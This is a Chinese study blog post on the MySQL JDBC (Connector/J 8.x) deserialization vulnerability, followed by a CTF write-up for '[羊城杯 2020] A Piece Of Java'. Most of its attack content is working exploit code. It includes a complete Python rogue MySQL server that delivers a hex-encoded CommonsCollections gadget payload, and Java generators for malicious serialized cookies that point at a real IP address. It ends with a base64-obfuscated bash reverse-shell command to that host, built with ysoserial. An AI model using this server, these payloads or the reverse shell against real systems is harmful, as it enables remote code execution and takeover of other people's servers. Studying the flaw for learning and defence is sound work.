MySQL JDBC 客户端(connector 8.x)反序列化漏洞学习

MySQL JDBC 反序列化漏洞

最早提出应该是BlackHat Europe 2019会议中的一个议题，下图是机翻的截图。

JDBC是Java 的 API，它定义了客戶端如何访问数据库。JDBC是接口,而JDBC Driver才是接口的实现。下图是菜鸟教程上的一个实例

原理分析

首先是连接的url中第一个可被利用的参数 autoDeserialize，也是该漏洞的反序列化点，位于com.mysql.cj.jdbc.result.ResultSetImpl.getObject()的objIn.readObject()
就是一堆判断语句如果满足条件就会进行反序列化，主要条件就是autoDeserialize开启，且数据类型为二进制或者Blob，如果是序列化数据就readObject（Java中序列化后的对象的前两个字节是-84和-19）

下面就是该方法的调用点，也是设置第二个参数 queryInterceptors的原因，com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor是一个拦截器，在JDBC URL中设定属性queryInterceptors为ServerStatusDiffInterceptor时，执行查询语句会调用拦截器的preProcess和postProcess方法，这两货又会调用populateMapWithSessionStatusValues方法

populateMapWithSessionStatusValues方法，在获取SHOW SESSION STATUS语句的查询结果后就会调用ResultSetUtil.resultSetToMap静态方法

继续跟进resultSetToMap方法，其中就有会对getObject方法(反序列化点)的调用，注意columnindex参数的值，后面payload当中需要两列

最终的攻击链如下图

jdbc:mysql://attacker/db?
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
&autoDeserialize=true

利用python搭建恶意MySQL服务

fnmsd的实现同时支持ServerStatusDiffInterceptor、detectCustomCollations功能完备
Tri0mphe的文章中的实现则更适合新手学习，具体来说，就是只特殊响应"SHOW SESSION STATUS"，只需要抓包分析响应包，根据官方文档，仿造其结构即可，不用深入理解MySQL私有协议。

官方例子结果集响应包的结构如图所示

Exp

（给文章中的exp加了点注释，方便理解）：

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))
        # 响应初始查询
        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
                # 响应随后而来的"SHOW WARNINGS"
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
                # 特殊响应"SHOW SESSION STATUS" 发送payload的位置，
            if "show session status" in data:
                mysql_data = '0100000102'  # Protocol::LengthEncodedInteger 结果集有多少列
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'  # Protocol::ColumnDefinition 列的定义
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'  # EOF_Packet的位置，这里重发了一遍ColumnDefinition只是修改了序列号为03
                # 为什么我加了EOF Packet 就无法正常运行呢？？


                #获取payload
                payload_content=get_payload_content()
                #计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                #计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]

                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex  # ProtocolText::ResultsetRow 结果集
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100' #  EOF_Packet的位置
                send_data(conn, mysql_data)
                data = receive_data(conn)
                #特殊响应随后而来的"SHOW WARNINGS"
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

例题：[羊城杯 2020]A Piece Of Java

关键词：Java反序列化，JDBC MySQL反序列化利用
代码逻辑很直白，hello路由会将cookie解码并反序列化

搜索使用的工具类可见引进了 commons-collections，https://mvnrepository.com/artifact/org.nibblesec/serialkiller/3.0

但设置了白名单不能直接用cc链打

hello路由，反序列化之后还调用了info.getAllInfo()，ctrl+H搜索该接口的实现，转到DatabaseInfo类，getAllInfo()只是单纯的字符拼接，但还有一个checkALLInfo方法这里是将用户名啥的直接拼接进去的，调用的connect方法可以进行jdbc反序列化

通过全局搜索查找调用方法，可以看到InfoInvocationHandler（Info代理类）也实现了Serializable接口可以被序列化
其invoke方法，会调用this.info（传进入的info类是Databaseinfo）的checkALLInfo方法

序列化时将Databaseinfoi.getAllInfo通过InfoInvocationHandler动态代理的包装后再列化，再反序列化时即可触发

info.getAllinfo()->InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()

exp

import gdufs.challenge.web.model.*;
import gdufs.challenge.web.invocation.InfoInvocationHandler;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class Myexp {
    
    
    public static void main(String[] args) throws Exception{
    
    
        /*
         * databaseinfo * */
        DatabaseInfo databaseinfo=new DatabaseInfo();
        databaseinfo.setHost("118.31.76.240");
        databaseinfo.setPort("7777");
        databaseinfo.setUsername("root");
        databaseinfo.setPassword("root&userSSL=false&autoDeserialize=true&allowPublicKeyRetrieval=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
        /*
         * infoInvocationHandler * */
        InfoInvocationHandler infoInvocationHandler=new InfoInvocationHandler(databaseinfo);
        /*
         * info */
        Info info=(Info)Proxy.newProxyInstance(databaseinfo.getClass().getClassLoader(),databaseinfo.getClass().getInterfaces(), infoInvocationHandler);
        /*
         * 接下来按照源代码序列化的info用base64打出来
         * */
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(info);
        objectOutputStream.close();

        String str=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
        System.out.println(str);
    }
}

反射exp

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
    
    
    public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{
    
    
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static byte[] serialize(Object o) throws Exception{
    
    
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
    
    
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
    
    public static void main(String[] args) throws Exception {
    
    
        Info databaseInfo = new DatabaseInfo();
        setFieldValue(databaseInfo, "host", "118.31.76.240");
        setFieldValue(databaseInfo, "port", "7777");
        setFieldValue(databaseInfo, "username", "any");
        setFieldValue(databaseInfo, "password", "any&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
        Class clazz = Class.forName("gdufs.challenge.web.invocation.InfoInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Info.class);
        construct.setAccessible(true);
        InfoInvocationHandler handler = (InfoInvocationHandler) construct.newInstance(databaseInfo);
        Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {
    
    Info.class}, handler);
        byte[] bytes = serialize(proxinfo);
        byte[] payload = Base64.getEncoder().encode(bytes);
        System.out.print(new String(payload));
    }
}

恶意MySQL服务器直接用上面那个
在Linux java1.8环境下生成payload

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzExOC4zMS43Ni4yNDAvNzk5OSAwPiYx}|{base64,-d}|{bash,-i}" > payload

然后起恶意服务器，将payload文件放在同目录下，直接postman发包即可

参考：

https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
https://xz.aliyun.com/t/8159
https://paper.seebug.org/1227/
https://blog.csdn.net/fmyyy1/article/details/12270676